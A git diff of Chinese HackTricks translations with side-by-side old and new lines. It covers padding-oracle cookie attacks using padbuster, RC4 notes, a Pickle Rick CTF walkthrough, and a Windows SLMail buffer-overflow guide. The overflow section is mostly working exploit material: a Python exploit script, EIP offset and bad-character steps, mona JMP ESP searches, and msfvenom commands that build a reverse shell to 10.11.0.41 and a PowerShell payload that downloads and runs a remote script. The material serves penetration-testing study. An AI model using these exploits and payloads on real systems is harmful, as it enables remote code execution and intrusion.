然后执行相同的步骤来解密C14**`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** 然后执行相同的步骤来解密C14**`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**按照这个链条继续,直到解密整个加密文本。** **按照这个链条继续,直到解密整个加密文本。**
## 漏洞检测 ## 漏洞检测
注册一个账户并使用这个账户登录。\ 注册一个帐户并使用该帐户登录。\
如果您**多次登录**并且总是得到**相同的cookie**,应用程序中可能**有些问题**。**每次登录时返回的cookie应该是唯一的**。如果cookie**总是**相**同**,它可能总是有效的,并且**没有办法使其失效**。 如果您**多次登录**并始终获得**相同的cookie**,则应用程序可能存在**问题**。每次登录时发送回的**cookie应该是唯一的**。如果cookie**始终**是**相同的**,它可能始终有效,**无法使其失效**。
现在,如果您尝试**修改**这个**cookie**,您会看到应用程序返回一个**错误**。\ 现在,如果您尝试**修改**cookie您会看到应用程序返回一个**错误**。\
但是如果您使用padbuster例如暴力破解填充您可以得到另一个对不同用户有效的cookie。这种情况很可能容易受到padbuster的攻击。 但是如果您使用填充预言例如使用padbuster进行BF您可以获得另一个适用于不同用户的有效cookie。这种情况很可能容易受到padbuster的攻击。
# 参考资料 # 参考资料
@ -111,14 +111,14 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
<details> <details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击</strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 发现[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**上关注**我们。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -1,40 +1,22 @@
<details> <details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击成为英雄</strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
如果您能够使用RC4加密明文那么您可以使用加密函数解密由该RC4加密的任何内容使用相同的密码 如果您可以使用RC4加密明文只需使用加密函数即可解密由该RC4加密的任何内容使用相同的密码
如果您能够加密已知的明文,您也可以提取密码。更多参考资料可以在HTB Kryptos机器中找到 如果您可以加密已知明文,还可以提取密码。更多参考信息可在HTB Kryptos机器中找到
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} {% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} {% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
<details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击成为英雄</strong></summary>
支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
</details>

View file

@ -1,33 +1,17 @@
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为英雄</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
其他支持HackTricks的方式 支持HackTricks的其他方式:
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs收藏**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
* [Write-up factory](https://writeup.raw.pm/) - 搜索引擎用于查找write-upsTryHackMe, HackTheBox等 * [Write-up工厂](https://writeup.raw.pm/) - 搜索引擎查找Write-upTryHackMeHackTheBox等
* [CTFtime Write-ups](https://ctftime.org/writeups) - CTFtime上CTF活动中新增的write-ups * [CTFtime Write-ups](https://ctftime.org/writeups) - CTF比赛中最新添加的Write-up
<details>
<summary><strong>从零开始学习AWS黑客技术成为英雄</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary>
其他支持HackTricks的方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs收藏**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 的github仓库提交PR来分享您的黑客技巧。**
</details>

View file

@ -1,13 +1,13 @@
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为英雄</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks上看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)上**关注我**。 * **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -4,15 +4,15 @@
<details> <details>
<summary><strong>从零到英雄学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果你想在 **HackTricks中看到你的公司广告** 或者 **下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方PEASS & HackTricks商品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现 [**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享你的黑客技巧。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
@ -22,70 +22,70 @@
## 枚举 ## 枚举
我开始使用我的工具 [**Legion**](https://github.com/carlospolop/legion) **枚举这台机器** 我开始使用我的工具[**Legion**](https://github.com/carlospolop/legion)来**枚举机器**
![](<../../.gitbook/assets/image (79) (2).png>) ![](<../../.gitbook/assets/image (79) (2).png>)
你所见有2个端口开放80 (**HTTP**) 和 22 (**SSH**) 您所见有2个端口打开80**HTTP**和22**SSH**
因此,我启动了legion来枚举HTTP服务 因此,我启动了Legion来枚举HTTP服务
![](<../../.gitbook/assets/image (234).png>) ![](<../../.gitbook/assets/image (234).png>)
注意,在图片中你可以看到 `robots.txt` 包含字符串 `Wubbalubbadubdub` 请注意,在图像中您可以看到`robots.txt`包含字符串`Wubbalubbadubdub`
几秒钟后,我回顾了 `disearch` 已经发现的内容: 几秒钟后,我查看了`disearch`已经发现的内容:
![](<../../.gitbook/assets/image (235).png>) ![](<../../.gitbook/assets/image (235).png>)
![](<../../.gitbook/assets/image (236).png>) ![](<../../.gitbook/assets/image (236).png>)
正如你在最后一张图片中看到的,一个**登录**页面被发现了 正如您在最后一个图像中所看到的,发现了一个**登录**页面
检查根页面的源代码,发现了一个用户名:`R1ckRul3s` 检查根页面的源代码,发现了一个用户名:`R1ckRul3s`
![](<../../.gitbook/assets/image (237) (1).png>) ![](<../../.gitbook/assets/image (237) (1).png>)
因此,你可以使用凭据 `R1ckRul3s:Wubbalubbadubdub` 在登录页面登录 因此,您可以使用凭据`R1ckRul3s:Wubbalubbadubdub`登录登录页面
## 用户 ## 用户
使用这些凭据,将访问一个可以执行命令的门户: 使用这些凭据,将访问一个可以执行命令的门户:
![](<../../.gitbook/assets/image (241).png>) ![](<../../.gitbook/assets/image (241).png>)
一些命令如cat是不允许的,但你可以使用例如grep来读取第一个成分标志 一些命令如cat不被允许,但您可以使用例如grep来读取第一个成分标志
![](<../../.gitbook/assets/image (242).png>) ![](<../../.gitbook/assets/image (242).png>)
然后我使用 然后我使用:
![](<../../.gitbook/assets/image (243) (1).png>) ![](<../../.gitbook/assets/image (243) (1).png>)
来获一个反向shell 来获一个反向shell
![](<../../.gitbook/assets/image (239) (1).png>) ![](<../../.gitbook/assets/image (239) (1).png>)
**第二个成分**可以在 `/home/rick` 中找到 **第二个成分**可以在`/home/rick`中找到
![](<../../.gitbook/assets/image (240).png>) ![](<../../.gitbook/assets/image (240).png>)
## ## Root
用户 **www-data可以作为sudo执行任何操作** 用户**www-data可以作为sudo执行任何操作**
![](<../../.gitbook/assets/image (238).png>) ![](<../../.gitbook/assets/image (238).png>)
<details> <details>
<summary><strong>从零到英雄学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果你想在 **HackTricks中看到你的公司广告** 或者 **下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方PEASS & HackTricks商品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现 [**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享你的黑客技巧。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -1,57 +1,30 @@
# Windows漏洞利用(基础指南 - OSCP级别 # Windows Exploiting (Basic Guide - OSCP lvl)
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
* 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop) 其他支持HackTricks的方式
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。** * 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
## **开始安装SLMail服务** ## **开始安装SLMail服务**
## 重启SLMail服务 ## 重SLMail服务
每次需要**重启SLMail服务**时可以使用Windows控制台执行以下命令 每次需要**重新启动SLMail服务**时您可以使用Windows控制台执行以下操作
``` ```
net start slmail net start slmail
``` ```
![](<../.gitbook/assets/image (23) (1).png>) ![](<../.gitbook/assets/image (23) (1).png>)
## 非常基本的Python漏洞利用模板 ## 非常基本的Python利用模板
```python
#!/usr/bin/env python3
import socket
# Set the target IP and port
target_ip = "192.168.1.100"
target_port = 1337
# Create a socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the target
s.connect((target_ip, target_port))
# Send the payload
payload = b"AAAAAABBBBBBCCCCC"
s.send(payload)
# Receive the response
response = s.recv(1024)
print(response.decode())
# Close the connection
s.close()
```
这是一个非常基本的Python漏洞利用模板。在使用之前你需要将目标IP和端口设置为正确的值。然后创建一个socket对象并连接到目标。发送有效载荷payload接收响应并关闭连接。
```python ```python
#!/usr/bin/python #!/usr/bin/python
@ -75,33 +48,33 @@ print "Could not connect to "+ip+":"+port
``` ```
## **更改 Immunity Debugger 字体** ## **更改 Immunity Debugger 字体**
前往 `选项 >> 外观 >> 字体 >> 更改(Consolas, 粗体, 9) >> 确定` 前往 `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
## **将进程附加到 Immunity Debugger** ## **将进程附加到 Immunity Debugger:**
**文件 --> 附加** **File --> Attach**
![](<../.gitbook/assets/image (24) (1) (1).png>) ![](<../.gitbook/assets/image (24) (1) (1).png>)
**然后点击开始按钮** **然后按 START 按钮**
## **发送攻击代码并检查 EIP 是否受影响:** ## **发送利用并检查 EIP 是否受影响:**
![](<../.gitbook/assets/image (25) (1) (1).png>) ![](<../.gitbook/assets/image (25) (1) (1).png>)
每次中断服务后,应按照本页开头的指示重新启动服务。 每次中断服务后,应按照本页开头的指示重新启动服务。
## 创建一个模式来修改 EIP ## 创建一个模式来修改 EIP
该模式的大小应与前用于中断服务的缓冲区大小相同。 该模式的大小应与前用于中断服务的缓冲区大小相同。
![](<../.gitbook/assets/image (26) (1) (1).png>) ![](<../.gitbook/assets/image (26) (1) (1).png>)
``` ```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
``` ```
更改漏洞的缓冲区并设置模式,然后启动漏洞 更改 exploit 的缓冲区并设置模式,然后启动 exploit
应该出现一个新的崩溃但EIP地址不同 应该出现新的崩溃,但具有不同的 EIP 地址:
![](<../.gitbook/assets/image (27) (1) (1).png>) ![](<../.gitbook/assets/image (27) (1) (1).png>)
@ -111,13 +84,13 @@ print "Could not connect to "+ip+":"+port
``` ```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
``` ```
看起来**我们可以在缓冲区的偏移量2606处修改EIP**。 看起来**我们可以修改缓冲区中偏移为2606的EIP**。
检查一下修改攻击载荷的缓冲区: 检查一下修改漏洞利用的缓冲区:
``` ```
buffer = 'A'*2606 + 'BBBB' + 'CCCC' buffer = 'A'*2606 + 'BBBB' + 'CCCC'
``` ```
使用这个缓冲区EIP崩溃应该指向42424242"BBBB" 使用这个缓冲区EIP 崩溃应该指向 42424242 ("BBBB")
![](<../.gitbook/assets/image (30) (1) (1).png>) ![](<../.gitbook/assets/image (30) (1) (1).png>)
@ -125,23 +98,23 @@ buffer = 'A'*2606 + 'BBBB' + 'CCCC'
看起来它正在工作。 看起来它正在工作。
## 检查堆栈中的Shellcode空间 ## 检查堆栈内的 Shellcode 空间
600B应该足够容纳任何强大的Shellcode。 600B 应该足够容纳任何强大的 shellcode。
让我们改缓冲区: 让我们改缓冲区:
``` ```
buffer = 'A'*2606 + 'BBBB' + 'C'*600 buffer = 'A'*2606 + 'BBBB' + 'C'*600
``` ```
启动新的漏洞利用并检查EBP和有用shellcode的长度 启动新的利用程序并检查EBP和有用shellcode的长度
![](<../.gitbook/assets/image (31) (1).png>) ![](<../.gitbook/assets/image (31) (1).png>)
![](<../.gitbook/assets/image (32) (1).png>) ![](<../.gitbook/assets/image (32) (1).png>)
可以看到当漏洞被触发时EBP指向shellcode并且我们有很多空间来定位shellcode。 可以看到当漏洞被触发时EBP指向shellcode并且我们有很多空间来定位shellcode。
在这种情况下,我们有**从0x0209A128到0x0209A2D6 = 430B**。足够了 在这种情况下,我们有**从0x0209A128到0x0209A2D6 = 430B。** 足够
## 检查不良字符 ## 检查不良字符
@ -167,55 +140,55 @@ badchars = (
) )
buffer = 'A'*2606 + 'BBBB' + badchars buffer = 'A'*2606 + 'BBBB' + badchars
``` ```
坏字符从0x01开始因为0x00几乎总是不好的。 badchars 从 0x01 开始,因为 0x00 几乎总是不好的。
重复使用这个新的缓冲区执行利用程序,删除那些被发现无用的字符。 重复执行利用程序,使用新的缓冲区删除发现无用的字符:
例如 例如:
在这个例子中,你可以看到**你不应该使用字符0x0A**(因为内存中没有保存字符0x09 在这种情况下,您可以看到**不应使用字符 0x0A**(因为内存中没有保存字符 0x09
![](<../.gitbook/assets/image (33) (1).png>) ![](<../.gitbook/assets/image (33) (1).png>)
在这个例子中,你可以看到**字符0x0D被避免使用** 在这种情况下,您可以看到**字符 0x0D 被避免**:
![](<../.gitbook/assets/image (34) (1).png>) ![](<../.gitbook/assets/image (34) (1).png>)
## 寻找JMP ESP作为返回地址 ## 寻找 JMP ESP 作为返回地址
使用 使用:
``` ```
!mona modules #Get protections, look for all false except last one (Dll of SO) !mona modules #Get protections, look for all false except last one (Dll of SO)
``` ```
您将**列出内存映射**。搜索具有以下特征的DLL 您将**列出内存映射**。搜索具有以下特征的某些DLL
* **重定位False** - **重新基址RebaseFalse**
* **SafeSEHFalse** - **SafeSEHFalse**
* **ASLRFalse** - **ASLRFalse**
* **NXCompatFalse** - **NXCompatFalse**
* **操作系统DLLTrue** - **OS DLLTrue**
![](<../.gitbook/assets/image (35) (1).png>) ![](<../.gitbook/assets/image (35) (1).png>)
现在在这段内存中您应该找到一些JMP ESP字节为此执行以下操作 现在在这段内存中您应该找到一些JMP ESP字节为此执行
``` ```
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case !mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
``` ```
**然后,如果找到某个地址,请选择一个不包含任何坏字符的地址:** **然后,如果找到某个地址,请选择一个不包含任何坏字符的地址:**
![](<../.gitbook/assets/image (36) (1).png>) ![](<../.gitbook/assets/image (36) (1).png>)
**在这个例子中,例如:\_0x5f4a358f**\_ **在这种情况下,例如: \_0x5f4a358f**\_
## 创建 shellcode ## 创建 shellcode
``` ```
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d' msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
``` ```
如果利用未能成功运行但应该可以可以通过ImDebg看到已经到达了shellcode尝试创建其他shellcode使用msfvenom可以为相同参数创建不同的shellcode 如果利用漏洞没有生效但应该生效可以通过ImDebg看到已经到达shellcode尝试创建其他shellcodemsfvenom使用相同参数创建不同的shellcode
在shellcode开头**添加一些NOPS**,并使用它和返回地址来进行JMP ESP最后完成利用: 在shellcode开头**添加一些NOPS**,并使用它和返回地址跳转到JMP ESP完成利用:
```bash ```bash
#!/usr/bin/python #!/usr/bin/python
@ -265,10 +238,10 @@ except:
print "Could not connect to "+ip+":"+port print "Could not connect to "+ip+":"+port
``` ```
{% hint style="warning" %} {% hint style="warning" %}
有一些shellcode会**覆盖自身**因此在shellcode之前添加一些NOPs是很重要的 有一些 shellcode 会**覆盖自身**,因此在 shellcode 前始终添加一些 NOP 是很重要的
{% endhint %} {% endhint %}
## 改进shellcode ## 改进 shellcode
添加以下参数: 添加以下参数:
``` ```
@ -276,12 +249,14 @@ EXITFUNC=thread -e x86/shikata_ga_nai
``` ```
<details> <details>
